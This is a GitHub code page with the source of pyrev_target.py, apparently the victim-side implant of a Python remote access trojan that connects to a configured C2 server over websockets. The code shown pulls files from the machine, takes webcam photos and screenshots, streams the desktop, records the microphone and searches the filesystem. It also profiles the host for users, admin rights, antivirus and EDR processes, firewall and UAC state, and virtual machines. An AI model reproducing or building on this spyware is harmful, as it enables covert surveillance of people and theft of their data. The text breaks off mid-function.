-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpyrev_target.py
More file actions
3952 lines (3307 loc) · 199 KB
/
pyrev_target.py
File metadata and controls
3952 lines (3307 loc) · 199 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import asyncio
import websockets
import ssl
import getpass
import sys
import base64
import os
from pathlib import Path
from datetime import datetime
# ========== CONFIGURATION ==========
# For a self-hosted deployment, fill in these variables:
TARGET_ID = "machineA"
SERVER_HOST = "192.168.2.110" # C2 server IP address
SERVER_PORT = 8765 # C2 server port
# Credentials - If these fields are filled in, the script runs without user interaction
AUTO_LOGIN = "" # Example: "machineA"
AUTO_PASSWORD = "" # Example: "TargetA_Pass123"
# ====================================
# Global clipboard history for monitoring
clipboard_history = []
DOWNLOAD_DIR = "downloads" # Directory for files uploaded from the server
def ensure_download_dir():
"""Create the download directory if it does not exist"""
Path(DOWNLOAD_DIR).mkdir(exist_ok=True)
async def handle_file_get(filepath: str) -> str:
"""
Reads a file and returns the data encoded in Base64
Return format: FILE_DATA:filename:base64_data or FILE_ERROR:message
"""
try:
# Try multiple path resolution strategies
attempted_paths = []
path = None
# Strategy 1: If it starts with "downloads/", try relative to script directory
if filepath.startswith("downloads/") or filepath.startswith("downloads\\"):
# Get the directory where this script is located
script_dir = Path(__file__).parent if '__file__' in globals() else Path.cwd()
candidate = script_dir / filepath
attempted_paths.append(str(candidate))
if candidate.exists():
path = candidate
# Strategy 2: Try as relative path from current working directory
if path is None:
candidate = Path(filepath)
attempted_paths.append(str(candidate.resolve()))
if candidate.exists():
path = candidate
# Strategy 3: Try with expanduser for home directory paths
if path is None and ('~' in filepath or filepath.startswith('/')):
candidate = Path(filepath).expanduser()
attempted_paths.append(str(candidate))
if candidate.exists():
path = candidate
# Strategy 4: If filename only (no path separators), check in DOWNLOAD_DIR
if path is None and ('/' not in filepath and '\\' not in filepath):
script_dir = Path(__file__).parent if '__file__' in globals() else Path.cwd()
candidate = script_dir / DOWNLOAD_DIR / filepath
attempted_paths.append(str(candidate))
if candidate.exists():
path = candidate
if path is None or not path.exists():
tried = '\n '.join(attempted_paths)
return f"FILE_ERROR:File not found. Tried:\n {tried}"
if not path.is_file():
return f"FILE_ERROR:Not a file: {path}"
# Size limit (50MB)
if path.stat().st_size > 50 * 1024 * 1024:
return f"FILE_ERROR:File too large (max 50MB): {path}"
with open(path, 'rb') as f:
file_data = f.read()
b64_data = base64.b64encode(file_data).decode('utf-8')
filename = path.name
return f"FILE_DATA:{filename}:{b64_data}"
except PermissionError:
return f"FILE_ERROR:Permission denied: {filepath}"
except Exception as e:
return f"FILE_ERROR:{str(e)}"
async def handle_file_put(filename: str, b64_data: str) -> str:
"""
Save a file received from the server
Return format: FILE_OK:message or FILE_ERROR:message
"""
try:
ensure_download_dir()
# Decoding the data
file_data = base64.b64decode(b64_data)
# Create a safe path
safe_filename = Path(filename).name # Remove paths
filepath = Path(DOWNLOAD_DIR) / safe_filename
# Saving
with open(filepath, 'wb') as f:
f.write(file_data)
size_kb = len(file_data) / 1024
return f"FILE_OK:Saved {filename} ({size_kb:.2f} KB) → {filepath}"
except Exception as e:
return f"FILE_ERROR:{str(e)}"
async def capture_webcam() -> str:
"""
Captures a photo from the webcam
Return format: WEBCAM_DATA:filename:base64_data or WEBCAM_ERROR:message
"""
try:
import cv2
import base64
from datetime import datetime
# Ensure downloads directory exists
ensure_download_dir()
# Initialize webcam
cap = cv2.VideoCapture(0)
if not cap.isOpened():
return "WEBCAM_ERROR:No webcam detected or camera is in use"
# Capture frame
ret, frame = cap.read()
cap.release()
if not ret:
return "WEBCAM_ERROR:Failed to capture frame"
# Save to file
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"webcam_{timestamp}.jpg"
filepath = Path(DOWNLOAD_DIR) / filename
cv2.imwrite(str(filepath), frame)
# Read and encode
with open(filepath, 'rb') as f:
img_data = f.read()
b64_data = base64.b64encode(img_data).decode('utf-8')
return f"WEBCAM_DATA:{filename}:{b64_data}"
except ImportError:
return "WEBCAM_ERROR:OpenCV not installed (pip install opencv-python)"
except Exception as e:
return f"WEBCAM_ERROR:{str(e)}"
# ============ Screenshot Capture ============
async def capture_screenshot() -> str:
"""
Captures a screenshot of the desktop
Return format: SCREENSHOT_DATA:filename:base64_data or SCREENSHOT_ERROR:message
"""
try:
import base64
from datetime import datetime
from pathlib import Path
# Try different screenshot libraries based on OS
try:
# Try pillow + mss (fastest, cross-platform)
import mss
import mss.tools
from PIL import Image
import io
# Ensure downloads directory exists
ensure_download_dir()
# Capture screenshot
with mss.mss() as sct:
# Capture all monitors as one screenshot
monitor = sct.monitors[0] # 0 = all monitors combined
screenshot = sct.grab(monitor)
# Convert to PIL Image
img = Image.frombytes('RGB', screenshot.size, screenshot.bgra, 'raw', 'BGRX')
# Save to file
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"screenshot_{timestamp}.png"
filepath = Path(DOWNLOAD_DIR) / filename
img.save(filepath, 'PNG')
# Read and encode
with open(filepath, 'rb') as f:
img_data = f.read()
b64_data = base64.b64encode(img_data).decode('utf-8')
return f"SCREENSHOT_DATA:{filename}:{b64_data}"
except ImportError:
# Fallback to PIL ImageGrab (Windows/macOS)
try:
from PIL import ImageGrab
ensure_download_dir()
# Capture screenshot
img = ImageGrab.grab()
# Save to file
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"screenshot_{timestamp}.png"
filepath = Path(DOWNLOAD_DIR) / filename
img.save(filepath, 'PNG')
# Read and encode
with open(filepath, 'rb') as f:
img_data = f.read()
b64_data = base64.b64encode(img_data).decode('utf-8')
return f"SCREENSHOT_DATA:{filename}:{b64_data}"
except:
return "SCREENSHOT_ERROR:No screenshot library available. Install: pip install mss pillow"
except Exception as e:
return f"SCREENSHOT_ERROR:{str(e)}"
# ============ Desktop Streaming ============
class DesktopStreamer:
"""Manages desktop streaming state"""
def __init__(self):
self.streaming = False
self.stream_task = None
self.websocket = None
async def start_stream(self, websocket):
"""Start desktop streaming"""
if self.streaming:
return "STREAM_ERROR:Stream already running"
self.streaming = True
self.websocket = websocket
self.stream_task = asyncio.create_task(self._stream_loop())
return "STREAM_STARTED:Desktop stream initiated"
async def stop_stream(self):
"""Stop desktop streaming"""
if not self.streaming:
return "STREAM_ERROR:No stream running"
self.streaming = False
if self.stream_task:
self.stream_task.cancel()
try:
await self.stream_task
except asyncio.CancelledError:
pass
return "STREAM_STOPPED:Desktop stream ended"
async def _stream_loop(self):
"""Continuous screenshot streaming loop"""
try:
import base64
import time
# Try to use mss for performance
try:
import mss
from PIL import Image
import io
with mss.mss() as sct:
monitor = sct.monitors[0]
frame_count = 0
while self.streaming:
try:
# Capture screenshot
screenshot = sct.grab(monitor)
# Convert to PIL and compress
img = Image.frombytes('RGB', screenshot.size, screenshot.bgra, 'raw', 'BGRX')
# Resize for bandwidth (optional - can be removed for full quality)
img.thumbnail((1280, 720), Image.Resampling.LANCZOS)
# Compress to JPEG
buffer = io.BytesIO()
img.save(buffer, format='JPEG', quality=60)
img_data = buffer.getvalue()
# Encode and send
b64_data = base64.b64encode(img_data).decode('utf-8')
frame_count += 1
await self.websocket.send(f"STREAM_FRAME:{frame_count}:{b64_data}")
# Control frame rate (~5 FPS for bandwidth)
await asyncio.sleep(0.2)
except Exception as e:
print(f"[STREAM] Frame error: {e}")
await asyncio.sleep(1)
except ImportError:
# Fallback to PIL ImageGrab
from PIL import ImageGrab
import io
frame_count = 0
while self.streaming:
try:
# Capture screenshot
img = ImageGrab.grab()
# Resize for bandwidth
img.thumbnail((1280, 720), Image.Resampling.LANCZOS)
# Compress to JPEG
buffer = io.BytesIO()
img.save(buffer, format='JPEG', quality=60)
img_data = buffer.getvalue()
# Encode and send
b64_data = base64.b64encode(img_data).decode('utf-8')
frame_count += 1
await self.websocket.send(f"STREAM_FRAME:{frame_count}:{b64_data}")
# Control frame rate
await asyncio.sleep(0.2)
except Exception as e:
print(f"[STREAM] Frame error: {e}")
await asyncio.sleep(1)
except asyncio.CancelledError:
print("[STREAM] Stream cancelled")
except Exception as e:
print(f"[STREAM] Stream error: {e}")
if self.websocket:
try:
await self.websocket.send(f"STREAM_ERROR:{str(e)}")
except:
pass
# Global streamer instance
desktop_streamer = DesktopStreamer()
async def capture_webcam() -> str:
"""
Take a photo using the webcam
Return format: WEBCAM_DATA:filename:base64_data or WEBCAM_ERROR:message
"""
try:
# Try importing cv2
try:
import cv2
except ImportError:
return "WEBCAM_ERROR:OpenCV not installed. Install with: pip install opencv-python"
# Initialize webcam
cap = cv2.VideoCapture(0)
if not cap.isOpened():
return "WEBCAM_ERROR:Cannot access webcam"
# Capture frame
ret, frame = cap.read()
cap.release()
if not ret:
return "WEBCAM_ERROR:Failed to capture frame"
# Encode to JPEG
ret, buffer = cv2.imencode('.jpg', frame)
if not ret:
return "WEBCAM_ERROR:Failed to encode image"
# Convert to base64
b64_data = base64.b64encode(buffer).decode('utf-8')
# Generate filename with timestamp
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"webcam_{timestamp}.jpg"
return f"WEBCAM_DATA:{filename}:{b64_data}"
except Exception as e:
return f"WEBCAM_ERROR:{str(e)}"
async def record_audio(duration: int) -> str:
"""
Records audio through the microphone
Return format: AUDIO_DATA:filename:base64_data or AUDIO_ERROR:message
"""
try:
# Try importing sounddevice and scipy
try:
import sounddevice as sd
import scipy.io.wavfile as wav
import numpy as np
except ImportError:
return "AUDIO_ERROR:Audio libraries not installed. Install with: pip install sounddevice scipy numpy"
# Validate duration
if duration <= 0 or duration > 300: # Max 5 minutes
return "AUDIO_ERROR:Duration must be between 1 and 300 seconds"
# Recording parameters
sample_rate = 44100 # 44.1kHz
# Record audio
print(f"[AUDIO] Recording {duration} seconds...")
recording = sd.rec(int(duration * sample_rate),
samplerate=sample_rate,
channels=2,
dtype='int16')
sd.wait() # Wait until recording is finished
# Save to temporary file
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"audio_{timestamp}.wav"
temp_path = f"/tmp/{filename}" if os.name != 'nt' else f"C:\\Windows\\Temp\\{filename}"
wav.write(temp_path, sample_rate, recording)
# Read and encode
with open(temp_path, 'rb') as f:
audio_data = f.read()
# Clean up temp file
try:
os.remove(temp_path)
except:
pass
# Encode to base64
b64_data = base64.b64encode(audio_data).decode('utf-8')
return f"AUDIO_DATA:{filename}:{b64_data}"
except Exception as e:
return f"AUDIO_ERROR:{str(e)}"
async def search_files(pattern: str, search_content: bool = False, content_pattern: str = "", max_results: int = 100) -> str:
"""
Search for files by name or content
Return format: SEARCH_RESULTS:count:results_json or SEARCH_ERROR:message
"""
try:
import fnmatch
import json
results = []
count = 0
# Specify the source directory
if os.name == 'nt':
start_paths = ['C:\\Users', 'C:\\Documents and Settings']
else:
start_paths = [os.path.expanduser('~'), '/etc', '/var', '/opt']
# Search by filename
if not search_content:
for start_path in start_paths:
if not os.path.exists(start_path):
continue
for root, dirs, files in os.walk(start_path):
# Avoid certain directories
dirs[:] = [d for d in dirs if d not in ['.git', 'node_modules', '__pycache__', '.cache']]
for filename in files:
if fnmatch.fnmatch(filename.lower(), pattern.lower()):
filepath = os.path.join(root, filename)
try:
size = os.path.getsize(filepath)
results.append({
'path': filepath,
'size': size,
'filename': filename
})
count += 1
if count >= max_results:
break
except (PermissionError, OSError):
continue
if count >= max_results:
break
# Search content
else:
for start_path in start_paths:
if not os.path.exists(start_path):
continue
for root, dirs, files in os.walk(start_path):
dirs[:] = [d for d in dirs if d not in ['.git', 'node_modules', '__pycache__', '.cache']]
for filename in files:
# Search only in text files
if not filename.endswith(('.txt', '.log', '.conf', '.config', '.ini', '.xml', '.json', '.py', '.sh', '.bat', '.cmd')):
continue
filepath = os.path.join(root, filename)
try:
# Size limit to avoid reading very large files
if os.path.getsize(filepath) > 10 * 1024 * 1024: # 10MB max
continue
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
if content_pattern.lower() in content.lower():
# Find the line
for i, line in enumerate(content.split('\n'), 1):
if content_pattern.lower() in line.lower():
results.append({
'path': filepath,
'line': i,
'content': line.strip()[:100] # Limit set to 100 chars
})
count += 1
break
if count >= max_results:
break
except (PermissionError, OSError, UnicodeDecodeError):
continue
if count >= max_results:
break
results_json = json.dumps(results)
return f"SEARCH_RESULTS:{count}:{results_json}"
except Exception as e:
return f"SEARCH_ERROR:{str(e)}"
async def gather_sysinfo() -> str:
"""
Collects comprehensive system information
Return format: SYSINFO_DATA:info_json or SYSINFO_ERROR:message
"""
try:
import platform
import socket
import json
import subprocess
import time
info = {}
os_type = platform.system()
# ============ SYSTEM INFORMATION ============
info['system'] = {
'os': os_type,
'os_version': platform.version(),
'os_release': platform.release(),
'hostname': socket.gethostname(),
'architecture': platform.machine(),
'processor': platform.processor(),
'python_version': platform.python_version(),
'platform': platform.platform()
}
# Uptime
try:
if os_type == 'Windows':
import ctypes
uptime_ms = ctypes.windll.kernel32.GetTickCount64()
uptime_sec = uptime_ms / 1000
else:
with open('/proc/uptime', 'r') as f:
uptime_sec = float(f.readline().split()[0])
days = int(uptime_sec // 86400)
hours = int((uptime_sec % 86400) // 3600)
minutes = int((uptime_sec % 3600) // 60)
info['system']['uptime'] = f"{days}d {hours}h {minutes}m"
info['system']['uptime_seconds'] = int(uptime_sec)
except:
info['system']['uptime'] = 'Unknown'
# ============ CURRENT USER ============
info['user'] = {
'username': os.getenv('USER') or os.getenv('USERNAME') or 'unknown',
'home': os.getenv('HOME') or os.getenv('USERPROFILE') or 'unknown'
}
# Check if admin/root
try:
if os_type == 'Windows':
import ctypes
info['user']['is_admin'] = bool(ctypes.windll.shell32.IsUserAnAdmin())
else:
info['user']['is_admin'] = (os.geteuid() == 0)
except:
info['user']['is_admin'] = False
# ============ ALL USERS (OS-specific) ============
info['users'] = {}
if os_type == 'Windows':
try:
# Get local users via net user command
result = subprocess.run(['net', 'user'], capture_output=True, text=True, timeout=10)
if result.returncode == 0:
users_list = []
lines = result.stdout.split('\n')
# Find the section with users (between header and footer)
in_user_section = False
for line in lines:
line_stripped = line.strip()
# Start of user section (after dashes)
if line_stripped.startswith('---'):
in_user_section = True
continue
# End of user section (empty line or "The command completed")
if in_user_section and (not line_stripped or
'command completed' in line_stripped.lower() or
'la commande' in line_stripped.lower()):
break
# Parse user lines
if in_user_section and line_stripped:
# Users are in columns, split by whitespace
potential_users = line_stripped.split()
for user in potential_users:
# Filter out non-username strings
if user and len(user) > 1 and not user.startswith('-'):
users_list.append(user)
# Remove duplicates and common false positives
users_list = list(dict.fromkeys(users_list)) # Remove duplicates while preserving order
info['users']['local_users'] = users_list
info['users']['count'] = len(users_list)
except:
pass
# Check current user groups
try:
result = subprocess.run(['whoami', '/groups'], capture_output=True, text=True, timeout=10)
if result.returncode == 0:
groups = []
for line in result.stdout.split('\n'):
if 'BUILTIN\\Administrators' in line or 'Administrators' in line:
groups.append('Administrators')
elif 'Remote Desktop Users' in line:
groups.append('Remote Desktop Users')
info['user']['groups'] = groups
except:
pass
else: # Linux/macOS
try:
# Parse /etc/passwd
with open('/etc/passwd', 'r') as f:
passwd_lines = f.readlines()
users_list = []
for line in passwd_lines:
parts = line.strip().split(':')
if len(parts) >= 7:
username = parts[0]
uid = parts[2]
shell = parts[6]
# Only include users with interactive shells or uid < 1000
if '/bin/bash' in shell or '/bin/sh' in shell or '/bin/zsh' in shell:
users_list.append({
'name': username,
'uid': uid,
'shell': shell
})
info['users']['local_users'] = users_list
info['users']['count'] = len(users_list)
# Get current user groups
result = subprocess.run(['groups'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
info['user']['groups'] = result.stdout.strip().split()
except:
pass
# ============ NETWORK INFORMATION ============
try:
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
info['network'] = {
'hostname': hostname,
'local_ip': local_ip
}
# Get all network interfaces
if os_type != 'Windows':
try:
result = subprocess.run(['ip', 'addr'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
info['network']['interfaces_detail'] = 'Available'
except:
pass
# Active connections
try:
if os_type == 'Windows':
result = subprocess.run(['netstat', '-ano'], capture_output=True, text=True, timeout=10)
else:
result = subprocess.run(['netstat', '-tuln'], capture_output=True, text=True, timeout=10)
if result.returncode == 0:
listening_ports = []
for line in result.stdout.split('\n'):
if 'LISTENING' in line or 'LISTEN' in line:
parts = line.split()
if len(parts) > 1:
listening_ports.append(parts[1])
info['network']['listening_ports'] = listening_ports[:10] # First 10
info['network']['listening_count'] = len(listening_ports)
except:
pass
except:
info['network'] = {'error': 'Unable to get network info'}
# ============ SECURITY INFORMATION ============
info['security'] = {}
if os_type == 'Windows':
# Antivirus status
try:
result = subprocess.run(['powershell', '-Command', 'Get-MpComputerStatus | Select-Object AntivirusEnabled,RealTimeProtectionEnabled'],
capture_output=True, text=True, timeout=10)
if result.returncode == 0 and 'True' in result.stdout:
info['security']['antivirus'] = 'Windows Defender (Enabled)'
else:
info['security']['antivirus'] = 'Windows Defender (Status Unknown)'
except:
info['security']['antivirus'] = 'Unknown'
# Firewall status
try:
result = subprocess.run(['netsh', 'advfirewall', 'show', 'allprofiles', 'state'],
capture_output=True, text=True, timeout=10)
if result.returncode == 0:
if 'ON' in result.stdout or 'State' in result.stdout:
info['security']['firewall'] = 'Enabled'
else:
info['security']['firewall'] = 'Disabled'
except:
info['security']['firewall'] = 'Unknown'
# UAC status
try:
result = subprocess.run(['reg', 'query', 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', '/v', 'EnableLUA'],
capture_output=True, text=True, timeout=5)
if result.returncode == 0 and '0x1' in result.stdout:
info['security']['uac'] = 'Enabled'
else:
info['security']['uac'] = 'Disabled'
except:
info['security']['uac'] = 'Unknown'
else: # Linux/macOS
# Check firewall
try:
if os_type == 'Linux':
# Try ufw
result = subprocess.run(['ufw', 'status'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
info['security']['firewall'] = 'ufw: ' + ('Active' if 'active' in result.stdout.lower() else 'Inactive')
else:
# Try iptables
result = subprocess.run(['iptables', '-L'], capture_output=True, text=True, timeout=5)
info['security']['firewall'] = 'iptables: ' + ('Rules exist' if result.returncode == 0 else 'Unknown')
elif os_type == 'Darwin': # macOS
result = subprocess.run(['defaults', 'read', '/Library/Preferences/com.apple.alf', 'globalstate'],
capture_output=True, text=True, timeout=5)
if result.returncode == 0:
state = result.stdout.strip()
info['security']['firewall'] = 'Enabled' if state != '0' else 'Disabled'
except:
info['security']['firewall'] = 'Unknown'
# SELinux (Linux only)
if os_type == 'Linux':
try:
result = subprocess.run(['getenforce'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
info['security']['selinux'] = result.stdout.strip()
except:
pass
# ============ PROCESSES (Top security-related) ============
info['processes'] = {}
try:
if os_type == 'Windows':
result = subprocess.run(['tasklist'], capture_output=True, text=True, timeout=10)
else:
result = subprocess.run(['ps', 'aux'], capture_output=True, text=True, timeout=10)
if result.returncode == 0:
lines = result.stdout.split('\n')
info['processes']['total'] = len(lines) - 1
# Look for security processes
security_procs = []
security_keywords = ['defender', 'antivirus', 'firewall', 'security', 'crowdstrike',
'sentinelone', 'carbonblack', 'mcafee', 'symantec', 'kaspersky']
for line in lines:
line_lower = line.lower()
for keyword in security_keywords:
if keyword in line_lower:
security_procs.append(line.strip()[:80]) # Limit length
break
if security_procs:
info['processes']['security_related'] = security_procs[:5] # Top 5
except:
pass
# ============ INSTALLED SOFTWARE ============
info['software'] = {}
if os_type == 'Windows':
try:
# Check common software via registry or file system
common_paths = [
('C:\\Program Files\\Google\\Chrome', 'Google Chrome'),
('C:\\Program Files\\Mozilla Firefox', 'Mozilla Firefox'),
('C:\\Program Files\\7-Zip', '7-Zip'),
('C:\\Program Files\\Microsoft Office', 'Microsoft Office'),
('C:\\Program Files\\Python', 'Python'),
('C:\\Program Files\\Java', 'Java'),
]
installed = []
for path, name in common_paths:
if os.path.exists(path):
installed.append(name)
if installed:
info['software']['detected'] = installed
except:
pass
else: # Linux
try:
# Try dpkg (Debian/Ubuntu)
result = subprocess.run(['dpkg', '-l'], capture_output=True, text=True, timeout=10)
if result.returncode == 0:
info['software']['package_manager'] = 'dpkg'
info['software']['package_count'] = len(result.stdout.split('\n')) - 5
else:
# Try rpm (RedHat/CentOS)
result = subprocess.run(['rpm', '-qa'], capture_output=True, text=True, timeout=10)
if result.returncode == 0:
info['software']['package_manager'] = 'rpm'
info['software']['package_count'] = len(result.stdout.split('\n'))
except:
pass
# ============ STORAGE ============
if os_type == 'Windows':
try:
import ctypes
drives = []
bitmask = ctypes.windll.kernel32.GetLogicalDrives()
for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
if bitmask & 1:
drive = f"{letter}:\\"
try:
free_bytes = ctypes.c_ulonglong(0)
total_bytes = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(
ctypes.c_wchar_p(drive),
None,
ctypes.pointer(total_bytes),
ctypes.pointer(free_bytes)
)
drives.append({
'drive': letter,
'total_gb': round(total_bytes.value / (1024**3), 2),
'free_gb': round(free_bytes.value / (1024**3), 2)
})
except:
pass
bitmask >>= 1
info['storage'] = drives
except:
info['storage'] = {'error': 'Unable to get storage info'}
else: # Linux/macOS
try:
import shutil
total, used, free = shutil.disk_usage('/')
info['storage'] = [{
'mount': '/',
'total_gb': round(total / (1024**3), 2),
'used_gb': round(used / (1024**3), 2),
'free_gb': round(free / (1024**3), 2)
}]
except:
info['storage'] = {'error': 'Unable to get storage info'}
# ============ DOMAIN INFORMATION (Windows only) ============
if os_type == 'Windows':
info['domain'] = {}
try:
# Check if domain joined
result = subprocess.run(['systeminfo'], capture_output=True, text=True, timeout=15)
if result.returncode == 0:
for line in result.stdout.split('\n'):
if 'Domain:' in line:
domain = line.split(':', 1)[1].strip()
info['domain']['name'] = domain
info['domain']['is_joined'] = domain.lower() != 'workgroup'
break
except:
pass
# ============ VIRTUALIZATION DETECTION ============
info['virtualization'] = {}
try:
# Check for VM indicators
vm_indicators = {
'vmware': ['vmware', 'vmx'],
'virtualbox': ['vbox', 'virtualbox'],
'hyper-v': ['hyper-v', 'microsoft virtual'],
'kvm': ['qemu', 'kvm'],
'xen': ['xen']
}
system_info = platform.platform().lower()
detected = False
for vm_type, keywords in vm_indicators.items():
for keyword in keywords:
if keyword in system_info:
info['virtualization']['type'] = vm_type
info['virtualization']['detected'] = True
detected = True
break
if detected:
break
if not detected:
# Check via additional methods
if os_type == 'Linux':
try:
with open('/proc/cpuinfo', 'r') as f:
cpuinfo = f.read().lower()
for vm_type, keywords in vm_indicators.items():
for keyword in keywords:
if keyword in cpuinfo:
info['virtualization']['type'] = vm_type
info['virtualization']['detected'] = True
detected = True
break
except:
pass
if not detected:
info['virtualization']['detected'] = False
except:
pass
# ============ SCHEDULED TASKS (Sample) ============
info['scheduled_tasks'] = {}